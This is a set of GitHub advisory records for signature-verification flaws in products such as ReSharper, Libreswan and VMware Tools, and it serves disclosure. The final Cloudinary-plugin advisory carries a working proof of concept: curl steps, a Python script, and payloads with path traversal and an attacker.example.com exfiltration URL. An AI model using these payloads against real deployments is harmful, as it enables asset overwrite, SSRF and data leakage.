CWE-347

{
  "affected": [],
  "aliases": [
    "CVE-2025-64456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-10T14:15:43Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains ReSharper before 2025.2.4 missing signature verification in DPA Collector allows local privilege escalation",
  "id": "GHSA-gxvp-97vx-c6vx",
  "modified": "2025-11-10T15:31:04Z",
  "published": "2025-11-10T15:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64456"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-13T21:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "There is a possible escalation of privilege due to improperly used crypto. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-h33q-qggg-pqmj",
  "modified": "2024-07-16T15:30:44Z",
  "published": "2024-06-13T21:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32911"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2024-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.3.22"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:14:39Z",
    "nvd_published_at": "2026-04-21T00:16:30Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore OpenClaw 2026.3.31, the Nostr DM ingress path could issue pairing challenges before validating the event signature. A forged DM could create a pending pairing entry and trigger a pairing-reply attempt before signature rejection.\n\n## Impact\n\nAn unauthenticated remote sender could consume shared pairing capacity and trigger bounded relay/logging work on the Nostr channel. This issue did not grant message decryption, pairing approval, or broader authorization bypass.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.3.22, \u003c 2026.3.31`\n- Patched versions: `\u003e= 2026.3.31`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `4ee742174f36b5445703e3b1ef2fbd6ae6700fa4` \u2014 verify inbound DM signatures before pairing replies\n\n## Release Process Note\n\nThe fix shipped in OpenClaw `2026.3.31` on March 31, 2026. The current published npm release `2026.4.1` from April 1, 2026 also contains the fix.\n\nThanks @smaeljaish771 for reporting.",
  "id": "GHSA-h43v-27wg-5mf9",
  "modified": "2026-04-24T21:04:46Z",
  "published": "2026-04-07T18:14:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h43v-27wg-5mf9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41301"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4ee742174f36b5445703e3b1ef2fbd6ae6700fa4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-forged-nostr-dm-pairing-state-creation-via-signature-verification-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Forged Nostr DMs could create pairing state before signature verification"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aws-crypto/client-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-01T18:59:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK\u2019s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n",
  "id": "GHSA-h45p-w933-jxh3",
  "modified": "2021-06-01T18:59:14Z",
  "published": "2021-06-01T21:20:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-encryption-sdk-javascript/security/advisories/GHSA-h45p-w933-jxh3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Improper Verification of Cryptographic Signature in aws-encryption-sdk-javascript "
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-27813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-10T13:15:51Z",
    "severity": "HIGH"
  },
  "details": "MSI Center before 2.0.52.0 has Missing PE Signature Validation.",
  "id": "GHSA-h4cj-xcg8-fcx7",
  "modified": "2025-04-10T15:31:48Z",
  "published": "2025-04-10T15:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27813"
    },
    {
      "type": "WEB",
      "url": "https://csr.msi.com/global/product-security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-50722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "Libreswan, via the function RSA_authenticate_hash_signature_pkcs1_1_5_rsa(), did not correctly verify the DER encoding of the ASN.1 digest when the IKEv2 AUTH payload was encoded using RSASSA-PKCS1-v1_5 (RFC 8017). A remote attacker can use a variation on the Bleichenbacher attack to forge the AUTH payload when small public exponents are used (e.g., e=3), leading to impersonation. Additionally, a remote attacker, by encoding a shorter than expected hash in the AUTH payload, could trigger an assertion leading to denial-of-service. The daemon aborts and restarts; continued exploitation causes sustained denial of service. Remote code execution is not possible. X.509 certificate verifications of the remote IKE peer are not affected.",
  "id": "GHSA-h4cv-5vw8-2p6m",
  "modified": "2026-07-03T00:31:53Z",
  "published": "2026-07-03T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50722"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50721/CVE-2026-50721.txt"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50722"
    },
    {
      "type": "WEB",
      "url": "https://libreswan.org/security/CVE-2026-50722/CVE-2026-50722.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc8017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-34058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-27T05:15:38Z",
    "severity": "HIGH"
  },
  "details": "VMware Tools contains a SAML token signature bypass vulnerability.\u00a0A malicious actor that has been granted  Guest Operation Privileges https://docs.vmware.com/en/VMware-vSphere/8.0/vsphere-security/GUID-6A952214-0E5E-4CCF-9D2A-90948FF643EC.html \u00a0in a target virtual machine may be able to elevate their privileges if that target virtual machine has been assigned a more privileged  Guest Alias https://vdc-download.vmware.com/vmwb-repository/dcr-public/d1902b0e-d479-46bf-8ac9-cee0e31e8ec0/07ce8dbd-db48-4261-9b8f-c6d3ad8ba472/vim.vm.guest.AliasManager.html .",
  "id": "GHSA-h5hf-5wcj-6hmf",
  "modified": "2025-03-06T18:30:57Z",
  "published": "2023-10-27T06:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34058"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/G7G77Z76CQPGUF7VHRA6O3UFCMPPR4O2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQUOFQL2SNNNMKROQ3TZQY4HEYMNOIBW"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WLTKVTRKQW2GD2274H3UOW6XU4E62GSK"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5543"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0024.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/10/27/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-24439"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-05T20:15:00Z",
    "severity": "LOW"
  },
  "details": "Acrobat Reader DC for macOS versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) are affected by a security feature bypass. While the practical security impact is minimal, a defense-in-depth fix has been implemented to further harden the Adobe Reader update process.",
  "id": "GHSA-h5w3-mrcg-5p55",
  "modified": "2022-05-24T17:33:14Z",
  "published": "2022-05-24T17:33:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24439"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb20-67.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-10669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-30T12:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Signature Wrapping exists in OSCI-Transport 1.2 as used in OSCI Transport Library 1.6.1 (Java) and OSCI Transport Library 1.6 (.NET). An attacker with access to unencrypted OSCI protocol messages must send crafted protocol messages with duplicate IDs.",
  "id": "GHSA-h5wc-fg2j-q78w",
  "modified": "2022-05-17T02:35:51Z",
  "published": "2022-05-17T02:35:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10669"
    },
    {
      "type": "WEB",
      "url": "http://blog.sec-consult.com/2017/06/german-e-government-details-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Jun/44"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@jhb.software/payload-cloudinary-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T22:10:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin\n\n### Summary\n\n`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters \u2014 including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values \u2014 enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.\n\n### Details\n\nWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.\n\n**Vulnerable code path (step by step):**\n\n1. `cloudinary/src/index.ts:58` \u2014 `initClientUploads` registers the server upload handler.\n2. `cloudinary/src/index.ts:68` \u2014 The Cloudinary API key is exposed to client handler props by design.\n3. `cloudinary/src/index.ts:74-79` \u2014 The signing endpoint is mounted at `/cloudinary-generate-signature`.\n4. `cloudinary/src/getGenerateSignature.ts:18` \u2014 The default access control checks only `!!req.user`, permitting any authenticated user.\n5. `cloudinary/src/getGenerateSignature.ts:46` \u2014 The entire request body is parsed: `const body = await req.json?.()`.\n6. `cloudinary/src/getGenerateSignature.ts:55` \u2014 **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.\n\n```ts\n// cloudinary/src/getGenerateSignature.ts:46-55\nconst body = await req.json?.()\n\nif (!body?.paramsToSign) {\n  return new Response(JSON.stringify({ error: \u0027No paramsToSign provided\u0027 }), ...)\n}\n\n// No allowlist, no key filtering, no folder/public_id/overwrite enforcement\nconst signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n```\n\nThere are **no** mitigations in place:\n- No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)\n- No folder/public_id policy enforcement (the plugin\u0027s `folder` option from `index.ts` is never passed to `getGenerateSignature`)\n- No timestamp freshness check\n- No restriction on path traversal sequences in `folder` or `public_id`\n\nDynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:\n\n| Case | paramsToSign | Impact |\n|------|-------------|--------|\n| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |\n| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |\n| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |\n| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |\n\nPython-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.\n\n### PoC\n\n**Prerequisites:**\n- `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`\n- An authenticated Payload session (any privilege level)\n- Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)\n\n**Step 1 \u2014 Obtain a signature for arbitrary parameters (bash):**\n\n```bash\nTS=$(date +%s)\n\nSIG=$(curl -s \\\n  -H \"Authorization: Bearer \u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST \"http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media\" \\\n  --data \"{\\\"paramsToSign\\\":{\\\"timestamp\\\":\\\"$TS\\\",\\\"folder\\\":\\\"attacker\\\",\\\"public_id\\\":\\\"overwrite-target\\\",\\\"overwrite\\\":\\\"true\\\"}}\" \\\n  | jq -r .signature)\n\necho \"Obtained signature: $SIG\"\n```\n\n**Step 2 \u2014 Use the minted signature to upload directly to Cloudinary:**\n\n```bash\ncurl -s -X POST \"https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload\" \\\n  -F \"file=@poc.txt\" \\\n  -F \"api_key=$CLOUDINARY_API_KEY\" \\\n  -F \"timestamp=$TS\" \\\n  -F \"folder=attacker\" \\\n  -F \"public_id=overwrite-target\" \\\n  -F \"overwrite=true\" \\\n  -F \"signature=$SIG\"\n```\n\n**Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` \u2014 an asset path the plugin never intended to authorize.\n\n**Automated PoC (Python):**\n\n```bash\n# Build and run the reproduction container\ndocker build -t vuln-002-cloudinary .\ndocker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary\n\n# Run all five attack scenarios\npython3 poc.py --server http://127.0.0.1:3000\n```\n\nThe script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.\n\n**Sample output (Phase 2 evidence):**\n\n```\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"attacker-controlled\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}\n      =\u003e abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"type\":\"private\",\"public_id\":\"admin-document\"}\n      =\u003e 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"media\",\"notification_url\":\"http://attacker.example.com/exfil\"}\n      =\u003e 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"../../../../admin-assets\",\"public_id\":\"../../../sensitive\",\"invalidate\":\"true\"}\n      =\u003e d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)\n\nResults: 5/5 cases confirmed \u2014 HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign\n```\n\n**Recommended fix:**\n\n```diff\n--- a/cloudinary/src/getGenerateSignature.ts\n+++ b/cloudinary/src/getGenerateSignature.ts\n@@ type Args = {\n   apiSecret: string\n+  folder?: string\n }\n@@ export const getGenerateSignature =\n-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =\u003e\n+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =\u003e\n@@\n-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n+    const paramsToSign = body.paramsToSign as Record\u003cstring, unknown\u003e\n+    const allowedKeys = new Set([\u0027timestamp\u0027, \u0027folder\u0027, \u0027public_id\u0027])\n+    if (\n+      !paramsToSign ||\n+      Object.keys(paramsToSign).some((key) =\u003e !allowedKeys.has(key)) ||\n+      typeof paramsToSign.timestamp !== \u0027string\u0027\n+    ) {\n+      throw new Forbidden()\n+    }\n+    if (folder \u0026\u0026 paramsToSign.folder !== folder.replace(/^\\/|\\/$/g, \u0027\u0027)) {\n+      throw new Forbidden()\n+    }\n+    if (\n+      typeof paramsToSign.public_id === \u0027string\u0027 \u0026\u0026\n+      (paramsToSign.public_id.includes(\u0027..\u0027) || paramsToSign.public_id.startsWith(\u0027/\u0027))\n+    ) {\n+      throw new Forbidden()\n+    }\n+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)\n```\n\n### Impact\n\nThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.\n\n**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).\n\n**Concrete attack outcomes:**\n\n- **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.\n- **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.\n- **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.\n- **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.\n\nThe Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-alpine\n\nLABEL description=\"VULN-002 reproduction: arbitrary Cloudinary API parameter signing\" \\\n      vuln=\"getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist\" \\\n      package=\"@jhb.software/payload-cloudinary-plugin@0.3.4\"\n\nWORKDIR /app\n\n# Install exactly the cloudinary version declared in the plugin\u0027s package.json\nRUN echo \u0027{\"name\":\"vuln-002-server\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json \u0026\u0026 \\\n    npm install cloudinary@2.10.0 --save --no-audit --no-fund\n\nCOPY server.js .\n\nEXPOSE 3000\n\n# Start the minimal reproduction server\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Arbitrary Cloudinary API Parameter Signing\nPackage : @jhb.software/payload-cloudinary-plugin v0.3.4\nFile    : cloudinary/src/getGenerateSignature.ts:55\nCWE     : CWE-347 \u2014 Improper Verification of Cryptographic Signature\nCVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n\nVulnerable sink (exact line from source):\n    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n\nbody.paramsToSign is passed directly with no allowlist, no key filtering, and no\nfolder/public_id/overwrite enforcement. Any authenticated user can obtain a valid\nCloudinary HMAC-SHA1 signature for arbitrary upload parameters.\n\nUsage:\n    python3 poc.py [--server http://127.0.0.1:3000]\n\"\"\"\n\nimport argparse\nimport hashlib\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# Must match API_SECRET in server.js\nAPI_SECRET = \"poc-fake-api-secret-12345\"\n\n# Simulates a low-privilege authenticated user session\nAUTH_HEADER = \"Bearer low-privilege-user-token\"\n\nGREEN = \"\\033[32m\"\nRED = \"\\033[31m\"\nYELLOW = \"\\033[33m\"\nRESET = \"\\033[0m\"\n\n\n# ---------------------------------------------------------------------------\n# Cloudinary signature algorithm \u2014 Python re-implementation of\n#   cloudinary.utils.api_sign_request(params, api_secret)\n# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )\n# ---------------------------------------------------------------------------\ndef cloudinary_sign(params: dict, api_secret: str) -\u003e str:\n    \"\"\"Return the expected Cloudinary HMAC-SHA1 signature for params.\"\"\"\n    filtered = {k: v for k, v in params.items() if v not in (None, \"\")}\n    sorted_pairs = sorted(filtered.items())\n    param_str = \"\u0026\".join(f\"{k}={v}\" for k, v in sorted_pairs)\n    to_sign = param_str + api_secret\n    return hashlib.sha1(to_sign.encode(\"utf-8\")).hexdigest()\n\n\n# ---------------------------------------------------------------------------\n# HTTP helpers\n# ---------------------------------------------------------------------------\ndef post_sign(server: str, params: dict) -\u003e tuple[int, dict]:\n    \"\"\"\n    POST {\"paramsToSign\": params} to the signing endpoint.\n    Returns (http_status, response_dict).\n    Raises urllib.error.HTTPError for 4xx/5xx.\n    \"\"\"\n    body = json.dumps({\"paramsToSign\": params}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{server}/api/cloudinary-generate-signature?collectionSlug=media\",\n        data=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"Authorization\": AUTH_HEADER,\n        },\n        method=\"POST\",\n    )\n    with urllib.request.urlopen(req, timeout=10) as resp:\n        return resp.status, json.loads(resp.read())\n\n\n# ---------------------------------------------------------------------------\n# Test runner\n# ---------------------------------------------------------------------------\ndef run_case(server: str, label: str, params: dict) -\u003e bool:\n    \"\"\"\n    Execute one signing test case and verify:\n      1. HTTP 200 is returned (endpoint did NOT reject the params).\n      2. The returned signature is mathematically correct.\n    Returns True if both conditions hold (vulnerability confirmed for this case).\n    \"\"\"\n    print(f\"\\n  [{label}]\")\n    print(f\"  paramsToSign : {json.dumps(params)}\")\n\n    try:\n        status, data = post_sign(server, params)\n    except urllib.error.HTTPError as exc:\n        body = exc.read().decode(errors=\"replace\")\n        print(f\"  HTTP {exc.code} \u2014 request rejected: {body}\")\n        print(f\"  {RED}UNEXPECTED REJECTION{RESET} \u2014 allowlist may be present for this case\")\n        return False\n    except Exception as exc:\n        print(f\"  Connection error: {exc}\")\n        return False\n\n    sig_returned = data.get(\"signature\", \"\")\n    sig_expected = cloudinary_sign(params, API_SECRET)\n    sig_match = sig_returned == sig_expected\n\n    print(f\"  HTTP status  : {status}\")\n    print(f\"  Signature    : {sig_returned}\")\n    print(f\"  Expected sig : {sig_expected}\")\n    print(f\"  Sig valid    : {\u0027YES \u2014 mathematically correct HMAC-SHA1\u0027 if sig_match else \u0027NO \u2014 mismatch\u0027}\")\n\n    if status == 200 and sig_match:\n        print(f\"  {GREEN}CONFIRMED{RESET} \u2014 endpoint signed arbitrary params without rejection\")\n        return True\n    else:\n        print(f\"  {RED}UNEXPECTED{RESET} \u2014 status={status}, sig_match={sig_match}\")\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-002 PoC\")\n    parser.add_argument(\"--server\", default=\"http://127.0.0.1:3000\", help=\"Target server URL\")\n    args = parser.parse_args()\n    server = args.server.rstrip(\"/\")\n\n    ts = str(int(time.time()))\n\n    print(\"=\" * 70)\n    print(\"VULN-002 PoC \u2014 Arbitrary Cloudinary API Parameter Signing\")\n    print(f\"Target  : {server}\")\n    print(f\"Vuln    : getGenerateSignature.ts:55 \u2014 no paramsToSign allowlist\")\n    print(f\"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)\")\n    print(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Attack scenarios\n    # ------------------------------------------------------------------\n    # Each case passes paramsToSign that the plugin should REJECT but does NOT.\n    # A correctly patched implementation would return 4xx for cases 2-5.\n    # ------------------------------------------------------------------\n    cases = [\n        (\n            \"CASE-1: Legitimate params (baseline \u2014 should always succeed)\",\n            {\"timestamp\": ts, \"folder\": \"media\", \"public_id\": 